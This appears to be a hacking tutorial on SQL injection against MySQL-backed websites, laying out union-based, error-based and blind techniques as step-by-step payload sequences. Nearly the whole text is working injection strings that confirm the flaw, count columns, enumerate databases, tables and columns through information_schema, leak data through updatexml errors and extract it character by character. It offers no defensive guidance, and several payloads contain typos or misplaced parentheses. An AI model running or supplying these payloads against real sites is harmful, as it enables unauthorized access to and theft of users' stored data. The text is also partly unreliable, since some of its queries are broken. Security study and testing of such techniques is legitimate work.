Web Hacking: SQL injection

Definition

SQL injection is a technique where malicious SQL queries are inserted to attack a database system, allowing for data extraction, tampering, authentication bypass, and more.

Pre-Attack Checklist

SQL Injection Data Extraction Process

• Deduction

  • Does the system perform identification and authentication together or separately?

  • What type of attack method is likely to work?

  • How will the query likely end? If it's a search query, '%search term%' is highly likely to be used.

• Vulnerability Check

  • If a vulnerability is found, how far does it go?

  • If SQL injection is possible, is it a union-based, error-based, or blind attack?

• Select SQL Query

  • Union SQL injection

  • Error-based SQL injection

  • Blind SQL injection

• Identify Data Output Locations

• Choose SQL Injection to Use

• Obtain DB, Table, and Column Names

• Extract Data

Types of SQL Injection

Union-Based SQL Injection

• Used when results are displayed on the screen, such as on a bulletin board.

• ex) general forum, bulletin board

1. Deduce the end of the search query.

   3+4 
   # If only 7 is returned in the search, the SQL query will work. Additionally, you can determine whether the % sign was used depending on whether only 7 is returned or if 7 is included in the results.

2. Check if SQL injection is possible.

   %' and '1%'='1 # true
   %' and '1%'='2 # false

3. Determine how many columns are used in the search.

   Increase the column count from 1 to 4 and check.

   %' order by 1 and '1%'='1

4. Check if union works and identify the data output location.

   %' union select '1','2','3','4' and '1%'='1

5. Check the database name.

   MySQL

   %' union select '1',database(),'3','4' and '1%'='1

6. Check the table name.

   MySQL

   %' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1

7. Check column names.

   MySQL

   %' union select '1',column_name,'3','4' from information_schema.columns where table_name='table_name' and '1%'='1

8. Extract data.

   %' union select '1',column_name,'3','4' from table_naem WHERE '1%' LIKE '1

Error-Based SQL Injection

• Used when error messages can be checked.

• Logical Error

1. Verify that the error message is a DB error.

   Typically uses updatexml or extractvalue.

   A syntax error (logical error) is displayed due to the concat command ':test'.

   1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

   1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1

2. Set the base for the error message.

   1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1

3. Check the database name.

   MySQL

   select database()

   1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

4. Check the table name.

   MySQL

   select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1

   1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1

5. Check column names.

   limit [starting point],[how many]

   select column_name from information_schema.columns where table_name='table_name' limit 0,1

   1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1

6. Extract data.

   select column_name from table_name limit 0,1

   1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1

Blind SQL Injection

• Used in places where DB results are not displayed on the screen.

• Anywhere with a response that differs depending on a true or false condition can be used.

1. Check if SQL injection is possible 1.-expected success

   %' and (1=1) and '1%'='1

2. Check if SQL injection is possible 2.-expected fail

   %' and (1=2) and '1%'='1

3. Check if the SQL injection select statement works.

   %' and (select 'test'='test') and '1%'='1

4. Create an attack format.

   %' and (sql) and '1%'='1

5. Check if ascii works.

   ascii('t')>0

   %' and (ascii('t')>0) and '1%'='1

6. Check if substring works.

   ascii(substring('test',1,1))>0

   %' and (ascii(substring('test'),1,1)>0) and '1%'='1

   1. Create a second attack format.

   %' and (ascii(substring((sql),1,1))>0) and '1%'='1

   1. Retrieve the DB.

   select database()

   %' and (ascii(substring(select database()),1,1)>0) and '1%'='1

   1. Retrieve the table name.

   SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 # retrieves only the first table name in the DB.

   SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 # retrieves only the second table name in the DB.

   %' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1

   1. Retrieve the column name.

   SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1

   %' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1),1,1)>0) and '1%'='1

   1. Extract data.

   select from limit 0,1

   %' and (ascii(substring(sql),1,1)>0) and '1%'='1

SQL Injection Data Extraction Process

 

Presume

Make a guess about what SQL query the server might be using.

Based on the results, make a guess about what the server is doing, such as whether it is performing authentication and identification at the same time or separately, and whether it can search for the term "over" to find "overwatch".

Vulnerability Assessment

Check whether SQL injection is possible.

Avoid using comments in queries as much as possible.

Check whether the login authentication and identification are separated or done together.

Select SQL Query

Choose an appropriate SQL injection method based on whether a list is displayed or not when searching.

For example, if a list is displayed, use In-band SQLi. If an error message is displayed, use Error-based SQLi. If only login failure messages are displayed, use Blind SQLi.

Identifying Data Output Locations

If a list is displayed, determine how many columns are being used, as the number of columns displayed may differ from the number of columns searched by the server.

Create Base SQL Injection

Create a basic template to avoid mistakes later.

Retrieve Database, Table, and Column Names

Now that the SQL query to use and the data output position have been identified, retrieve the necessary information.

Extract Data

SQL injection successful.